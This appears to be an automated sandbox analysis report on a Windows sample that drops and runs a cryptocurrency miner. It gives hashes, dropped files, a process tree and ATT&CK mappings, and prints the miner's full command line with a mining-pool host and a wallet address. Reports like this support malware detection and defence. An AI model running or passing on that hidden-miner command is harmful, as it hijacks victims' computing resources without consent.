73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
304s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13/02/2024, 05:13

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2388	b2e.exe
4200	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4200	cpuminer-sse2.exe
4200	cpuminer-sse2.exe
4200	cpuminer-sse2.exe
4200	cpuminer-sse2.exe
4200	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3864-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3864 wrote to memory of 2388	3864	batexe.exe	74
PID 3864 wrote to memory of 2388	3864	batexe.exe	74
PID 3864 wrote to memory of 2388	3864	batexe.exe	74
PID 2388 wrote to memory of 3508	2388	b2e.exe	75
PID 2388 wrote to memory of 3508	2388	b2e.exe	75
PID 2388 wrote to memory of 3508	2388	b2e.exe	75
PID 3508 wrote to memory of 4200	3508	cmd.exe	78
PID 3508 wrote to memory of 4200	3508	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3864
- C:\Users\Admin\AppData\Local\Temp\B016.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B016.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B016.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2388
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B4C9.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3508
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4200

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B016.tmp\b2e.exe

Filesize
7.9MB

MD5
566465d086aeb2dfc4d6e02d7d21b779

SHA1
0bb08763955ddd25b61b0f7be6248ccc94ccf2cc

SHA256
493a16da0174b183a63a63cb4d62e603ef4de902d65ef5420bd193b2009c06a3

SHA512
48e14f1f66483daeb14a14e2705f2514a0211a1a6348af6406293b6e5362aaffcbb6c360a6ce03e7c91c9ed2512941154af299466245c5bde2f4ad3ef3414fa6

Download Submit
C:\Users\Admin\AppData\Local\Temp\B016.tmp\b2e.exe

Filesize
12.3MB

MD5
e06c656a3544be6b663de42b3099c756

SHA1
20b95509658827ff952be98f94dcf2d4e821e17d

SHA256
abcc6cdd93257c50263cca51d3b715a75a813d5c428df2d8b5195f02f6da5cd2

SHA512
65b03591530b789cca9cdbb265d28eadb9ce44d84ff5d45aef99f9dde5fe98c28b4579087d614657177d7fa4fbc779455c1b36cdc457e22c16065b546a1c05aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\B4C9.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.1MB

MD5
cbe0a2790b373674445d9a9d275242eb

SHA1
dab98a980d149771b6d993a68eef60b01392b49b

SHA256
1ac0f34831861fbb61060b0feafc206d105e12770031d3bcd0238fe259ecf40c

SHA512
653355267a6426f1d63b5063382a4070cb518603c32aed6fb8437f2789b6820fb87b524b352e9bc8cb00204f8e7eb639e387f69801fc1e86a7541e04e2158881

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.9MB

MD5
8c21367b41e5d89e67d8ae13fe0e1251

SHA1
6e389dca0e8d2582feb01d03055b63f17f664a77

SHA256
600b673684bf7bab44bd05f1812bcc95cb2d7b68fea7379009313d6de3ea93ad

SHA512
bf035dab87d312911503a6a35b0619d3c26afecb67204c8b75cbab3453f68e0b5ed8a550918c1a1439a4010beca087da2d12bbd96f6bba1ea367832ff3afb9ea

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.9MB

MD5
61a9bea6beefbd731c398a68653170da

SHA1
1675ababaa9a2210a1ae22f748194aa2c98982cb

SHA256
51ec648627e5b19cc5cc50a9465fb7c10d15f5317166ec7eefd79ecd922ad5ec

SHA512
03501e41d252ebe61d5616515abf9b82cdfa1bed805d866473e6371e78bd20feebf7e55708b5a17f23cc29612e6e4886d03613903eeecdb21e769df001aad6d1

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2388-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2388-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3864-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4200-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4200-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4200-43-0x00000000702F0000-0x0000000070388000-memory.dmp

Filesize
608KB

Download
memory/4200-44-0x0000000001090000-0x0000000002945000-memory.dmp

Filesize
24.7MB

Download
memory/4200-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4200-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4200-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4200-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4200-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4200-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4200-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4200-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download